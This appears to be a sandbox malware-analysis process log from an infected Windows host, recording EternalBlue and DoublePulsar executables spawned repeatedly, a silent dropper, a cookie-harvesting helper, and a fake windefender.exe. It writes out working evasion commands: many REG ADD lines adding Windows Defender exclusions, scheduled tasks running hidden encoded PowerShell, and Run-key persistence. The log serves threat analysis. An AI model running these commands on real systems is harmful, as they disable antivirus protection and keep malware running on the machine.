C:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Doublepulsar-1.3.1.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Doublepulsar-1.3.1.exe16⤵PID:16388
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exe16⤵PID:16412
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Eternalblue-2.2.0.exe16⤵PID:4024
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exe16⤵PID:16452
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Eternalblue-2.2.0.exe16⤵PID:15912
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Doublepulsar-1.3.1.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Doublepulsar-1.3.1.exe16⤵PID:2616
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exe16⤵PID:2644
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exe16⤵PID:1716
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Eternalblue-2.2.0.exe16⤵PID:2244
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Eternalblue-2.2.0.exe16⤵PID:2260
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exe16⤵PID:4744
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exe16⤵PID:4164
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Eternalblue-2.2.0.exe16⤵PID:4480
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Eternalblue-2.2.0.exe16⤵PID:4792
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exe16⤵PID:9280
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exe16⤵PID:11164
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Eternalblue-2.2.0.exe16⤵PID:8080
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Eternalblue-2.2.0.exe16⤵PID:8116
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exe16⤵PID:7724
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exe16⤵PID:9744
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Eternalblue-2.2.0.exe16⤵PID:9824
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Eternalblue-2.2.0.exe16⤵PID:9900
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exe16⤵PID:10968
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exe16⤵PID:11044
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exe16⤵PID:12788
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exe16⤵PID:12636
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Doublepulsar-1.3.1.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Doublepulsar-1.3.1.exe16⤵PID:14036
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exe16⤵PID:15188
-
C:\Users\Admin\AppData\Local\Temp\csrss\updateprofile-15.exeC:\Users\Admin\AppData\Local\Temp\csrss\updateprofile-15.exe16⤵PID:14988
-
C:\Users\Admin\AppData\Local\Temp\csrss\updateprofile-15.exe"C:\Users\Admin\AppData\Local\Temp\csrss\updateprofile-15.exe"17⤵PID:15272
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exe16⤵PID:3824
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kmqchwmh.xfg\setup.exe /S /kr /site_id=754 & exit11⤵PID:9004
-
C:\Users\Admin\AppData\Local\Temp\kmqchwmh.xfg\setup.exeC:\Users\Admin\AppData\Local\Temp\kmqchwmh.xfg\setup.exe /S /kr /site_id=75412⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:9044 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"13⤵PID:9128
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&14⤵PID:9168
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3215⤵PID:9196
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6415⤵PID:9220
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "giMoMlXhR" /SC once /ST 10:12:44 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="13⤵
- Creates scheduled task(s)
PID:9476 -
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "giMoMlXhR"13⤵PID:9528
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "giMoMlXhR"13⤵PID:10056
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bWIRRaDZCpCYZHZEtf" /SC once /ST 16:36:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\BvDcUbfWcHtFaGn\pwiJiNq.exe\" nh /site_id 754 /S" /V1 /F13⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:10128 -
C:\Users\Admin\AppData\Local\Temp\is-EHIF9.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-EHIF9.tmp\hjjgaa.exe" /Verysilent5⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Modifies system certificate store
PID:2448 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
PID:2480 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
PID:744 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
PID:15368 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵PID:5380
-
C:\Windows\system32\taskeng.exetaskeng.exe {1F92D12F-7B81-44E7-8FFC-D709DCD2C46A} S-1-5-21-3825035466-2522850611-591511364-1000:EIDQHRRL\Admin:Interactive:[1]1⤵PID:9648
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:9700 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵PID:11052
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:16840 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵PID:3908
-
C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\xbvNvmCn\ztJVywH.exeC:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\xbvNvmCn\ztJVywH.exe U4 /S2⤵
- Executes dropped EXE
- Modifies Internet Explorer settings
PID:6084 -
C:\Users\Admin\AppData\Roaming\guesjdiC:\Users\Admin\AppData\Roaming\guesjdi2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3032 -
C:\Users\Admin\AppData\Roaming\guesjdiC:\Users\Admin\AppData\Roaming\guesjdi3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:3044
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:11124
-
C:\Program Files (x86)\Picture Lab\Pictures Lab.exe"C:\Program Files (x86)\Picture Lab\Pictures Lab.exe"1⤵
- Executes dropped EXE
PID:13316
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:16016
-
C:\Windows\system32\taskeng.exetaskeng.exe {8C3E601F-4219-4BE7-A163-8E5817A92344} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:16480
-
C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\BvDcUbfWcHtFaGn\pwiJiNq.exeC:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\BvDcUbfWcHtFaGn\pwiJiNq.exe nh /site_id 754 /S2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:16532 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gzIZRwSxF" /SC once /ST 07:36:11 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
PID:16716 -
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gzIZRwSxF"3⤵PID:16784
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gzIZRwSxF"3⤵PID:784
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZKIEJJPSRIlthXTT" /t REG_DWORD /d 0 /reg:323⤵PID:2336
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZKIEJJPSRIlthXTT" /t REG_DWORD /d 0 /reg:324⤵PID:2424
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZKIEJJPSRIlthXTT" /t REG_DWORD /d 0 /reg:643⤵PID:872
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZKIEJJPSRIlthXTT" /t REG_DWORD /d 0 /reg:644⤵PID:1652
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZKIEJJPSRIlthXTT" /t REG_DWORD /d 0 /reg:323⤵PID:2056
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZKIEJJPSRIlthXTT" /t REG_DWORD /d 0 /reg:324⤵PID:1684
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZKIEJJPSRIlthXTT" /t REG_DWORD /d 0 /reg:643⤵PID:2044
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZKIEJJPSRIlthXTT" /t REG_DWORD /d 0 /reg:644⤵PID:3088
-
C:\Windows\SysWOW64\cmd.execmd /C copy nul "C:\Windows\Temp\ZKIEJJPSRIlthXTT\MfKNOqrP\ALwHSIRxaqYGrank.wsf"3⤵PID:3100
-
C:\Windows\SysWOW64\wscript.exewscript "C:\Windows\Temp\ZKIEJJPSRIlthXTT\MfKNOqrP\ALwHSIRxaqYGrank.wsf"3⤵
- Modifies data under HKEY_USERS
PID:3128 -
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CzJsMnpmYIHU2" /t REG_DWORD /d 0 /reg:324⤵PID:3188
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CzJsMnpmYIHU2" /t REG_DWORD /d 0 /reg:644⤵PID:3208
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JDaUpqLWU" /t REG_DWORD /d 0 /reg:324⤵PID:3260
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JDaUpqLWU" /t REG_DWORD /d 0 /reg:644⤵PID:3276
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MCoLVEAxuDhpC" /t REG_DWORD /d 0 /reg:324⤵PID:3308
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MCoLVEAxuDhpC" /t REG_DWORD /d 0 /reg:644⤵PID:3340
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MMWqmhiAcXveJYezuLR" /t REG_DWORD /d 0 /reg:324⤵PID:3376
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MMWqmhiAcXveJYezuLR" /t REG_DWORD /d 0 /reg:644⤵PID:3396
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hxLIpSuPLJUn" /t REG_DWORD /d 0 /reg:324⤵PID:3428
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hxLIpSuPLJUn" /t REG_DWORD /d 0 /reg:644⤵PID:3448
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yjiDqdgnMIE" /t REG_DWORD /d 0 /reg:324⤵PID:3492
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\pJxacTbbSlizmPVB" /t REG_DWORD /d 0 /reg:324⤵PID:3540
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yjiDqdgnMIE" /t REG_DWORD /d 0 /reg:644⤵PID:3508
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\pJxacTbbSlizmPVB" /t REG_DWORD /d 0 /reg:644⤵PID:3576
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\LocalLow\svZsuFgRAiSlE" /t REG_DWORD /d 0 /reg:324⤵PID:3600
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\LocalLow\svZsuFgRAiSlE" /t REG_DWORD /d 0 /reg:644⤵PID:3636
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj" /t REG_DWORD /d 0 /reg:324⤵PID:3664
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj" /t REG_DWORD /d 0 /reg:644⤵PID:3688
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZKIEJJPSRIlthXTT" /t REG_DWORD /d 0 /reg:324⤵PID:4124
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZKIEJJPSRIlthXTT" /t REG_DWORD /d 0 /reg:644⤵PID:17196
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CzJsMnpmYIHU2" /t REG_DWORD /d 0 /reg:324⤵PID:3512
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CzJsMnpmYIHU2" /t REG_DWORD /d 0 /reg:644⤵PID:3712
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JDaUpqLWU" /t REG_DWORD /d 0 /reg:324⤵PID:4132
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JDaUpqLWU" /t REG_DWORD /d 0 /reg:644⤵PID:4196
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MCoLVEAxuDhpC" /t REG_DWORD /d 0 /reg:324⤵PID:4252
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MCoLVEAxuDhpC" /t REG_DWORD /d 0 /reg:644⤵PID:4276
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MMWqmhiAcXveJYezuLR" /t REG_DWORD /d 0 /reg:324⤵PID:4300
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hxLIpSuPLJUn" /t REG_DWORD /d 0 /reg:324⤵PID:4160
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hxLIpSuPLJUn" /t REG_DWORD /d 0 /reg:644⤵PID:4356
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MMWqmhiAcXveJYezuLR" /t REG_DWORD /d 0 /reg:644⤵PID:4176
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yjiDqdgnMIE" /t REG_DWORD /d 0 /reg:324⤵PID:4400
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yjiDqdgnMIE" /t REG_DWORD /d 0 /reg:644⤵PID:4416
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\pJxacTbbSlizmPVB" /t REG_DWORD /d 0 /reg:324⤵PID:4444
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\pJxacTbbSlizmPVB" /t REG_DWORD /d 0 /reg:644⤵PID:4472
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\LocalLow\svZsuFgRAiSlE" /t REG_DWORD /d 0 /reg:324⤵PID:4520
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\LocalLow\svZsuFgRAiSlE" /t REG_DWORD /d 0 /reg:644⤵PID:4548
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj" /t REG_DWORD /d 0 /reg:324⤵PID:4584
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj" /t REG_DWORD /d 0 /reg:644⤵PID:4600
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZKIEJJPSRIlthXTT" /t REG_DWORD /d 0 /reg:324⤵PID:4652
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZKIEJJPSRIlthXTT" /t REG_DWORD /d 0 /reg:644⤵PID:4672
-
